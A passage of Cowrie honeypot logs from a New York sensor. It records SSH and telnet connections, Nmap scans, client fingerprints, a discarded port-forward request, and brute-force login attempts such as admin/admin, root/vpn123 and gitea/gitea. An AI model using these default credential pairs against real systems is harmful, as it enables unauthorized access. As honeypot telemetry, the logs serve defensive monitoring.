ha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:28.830033Z","src_ip":"87.251.64.176","session":"1d228327afe6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:29.204321Z","src_ip":"87.251.64.176","session":"1d228327afe6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:29.301705Z","session":"1d228327afe6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:29.399168Z","src_ip":"87.251.64.176","session":"1d228327afe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:29.495743Z","src_ip":"87.251.64.176","session":"1d228327afe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.165.169","src_port":37570,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d727091f3e5","protocol":"ssh","message":"New connection: 34.156.165.169:37570 (159.203.135.109:22) [session: 2d727091f3e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:30.157242Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:30.283083Z","src_ip":"34.156.165.169","session":"2d727091f3e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:30.291781Z","src_ip":"34.156.165.169","session":"2d727091f3e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.165.169","src_port":37580,"dst_ip":"159.203.135.109","dst_port":22,"session":"a877cfd09cc2","protocol":"ssh","message":"New connection: 34.156.165.169:37580 (159.203.135.109:22) [session: a877cfd09cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:30.514634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:30.596419Z","src_ip":"34.156.165.169","session":"a877cfd09cc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:30.670578Z","src_ip":"34.156.165.169","session":"a877cfd09cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:30.677028Z","src_ip":"34.156.165.169","session":"a877cfd09cc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.165.169","src_port":37594,"dst_ip":"159.203.135.109","dst_port":22,"session":"17c8a03f54e5","protocol":"ssh","message":"New connection: 34.156.165.169:37594 (159.203.135.109:22) [session: 17c8a03f54e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:30.823018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:30.955528Z","src_ip":"34.156.165.169","session":"17c8a03f54e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:31.031141Z","src_ip":"34.156.165.169","session":"17c8a03f54e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:31.273304Z","src_ip":"34.156.165.169","session":"17c8a03f54e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.165.169","src_port":37608,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ba06d742f0b","protocol":"ssh","message":"New connection: 34.156.165.169:37608 (159.203.135.109:22) [session: 9ba06d742f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:31.348110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:31.436310Z","src_ip":"34.156.165.169","session":"9ba06d742f0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:31.511282Z","src_ip":"34.156.165.169","session":"9ba06d742f0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58638,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8a2f74070d2","protocol":"telnet","message":"New connection: 69.4.83.194:58638 (159.203.135.109:23) [session: e8a2f74070d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:31.699877Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:31.750042Z","src_ip":"34.156.165.169","session":"9ba06d742f0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.165.169","src_port":37618,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae19e90b931e","protocol":"ssh","message":"New connection: 34.156.165.169:37618 (159.203.135.109:22) [session: ae19e90b931e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:31.825150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:31.954284Z","src_ip":"34.156.165.169","session":"ae19e90b931e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:32.029579Z","src_ip":"34.156.165.169","session":"ae19e90b931e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:32.036400Z","src_ip":"34.156.165.169","session":"ae19e90b931e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.165.169","src_port":37632,"dst_ip":"159.203.135.109","dst_port":22,"session":"86bf9475cd38","protocol":"ssh","message":"New connection: 34.156.165.169:37632 (159.203.135.109:22) [session: 86bf9475cd38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:32.180793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:32.312859Z","src_ip":"34.156.165.169","session":"86bf9475cd38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:32.387830Z","src_ip":"34.156.165.169","session":"86bf9475cd38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:32.393686Z","src_ip":"34.156.165.169","session":"86bf9475cd38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.165.169","src_port":37634,"dst_ip":"159.203.135.109","dst_port":22,"session":"74a3dc62c5d7","protocol":"ssh","message":"New connection: 34.156.165.169:37634 (159.203.135.109:22) [session: 74a3dc62c5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:32.543601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:32.624585Z","src_ip":"34.156.165.169","session":"74a3dc62c5d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:32.698810Z","src_ip":"34.156.165.169","session":"74a3dc62c5d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:32.929194Z","src_ip":"34.156.165.169","session":"74a3dc62c5d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.70.224.28","src_port":36964,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0e965d6a625","protocol":"ssh","message":"New connection: 81.70.224.28:36964 (159.203.135.109:22) [session: c0e965d6a625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:33.024425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:33.029673Z","src_ip":"81.70.224.28","session":"c0e965d6a625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:33.256490Z","src_ip":"81.70.224.28","session":"c0e965d6a625","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitea","password":"gitea","message":"login attempt [gitea/gitea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:34.785873Z","src_ip":"81.70.224.28","session":"c0e965d6a625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:36.015934Z","src_ip":"81.70.224.28","session":"c0e965d6a625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.87105441093445,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:41.193692Z","src_ip":"69.4.83.194","session":"416e7e319531","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.514721632003784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:21:55.049716Z","src_ip":"50.62.181.92","session":"9652de7a3ecd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.69570803642273,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:04.395470Z","src_ip":"69.4.83.194","session":"e8a2f74070d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":50064,"dst_ip":"159.203.135.109","dst_port":22,"session":"44bd877552eb","protocol":"ssh","message":"New connection: 167.172.174.185:50064 (159.203.135.109:22) [session: 44bd877552eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:08.006714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:08.011425Z","src_ip":"167.172.174.185","session":"44bd877552eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:08.105601Z","src_ip":"167.172.174.185","session":"44bd877552eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpn123","message":"login attempt [root/vpn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:08.507246Z","src_ip":"167.172.174.185","session":"44bd877552eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:09.607860Z","src_ip":"167.172.174.185","session":"44bd877552eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":51938,"dst_ip":"159.203.135.109","dst_port":22,"session":"de17f30fba74","protocol":"ssh","message":"New connection: 194.59.206.2:51938 (159.203.135.109:22) [session: de17f30fba74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:20.479287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:20.484486Z","src_ip":"194.59.206.2","session":"de17f30fba74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:20.578325Z","src_ip":"194.59.206.2","session":"de17f30fba74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:20.727542Z","src_ip":"194.59.206.2","session":"de17f30fba74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.70.224.28","src_port":35544,"dst_ip":"159.203.135.109","dst_port":22,"session":"58e2cf17b7db","protocol":"ssh","message":"New connection: 81.70.224.28:35544 (159.203.135.109:22) [session: 58e2cf17b7db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:22:32.724251Z"}
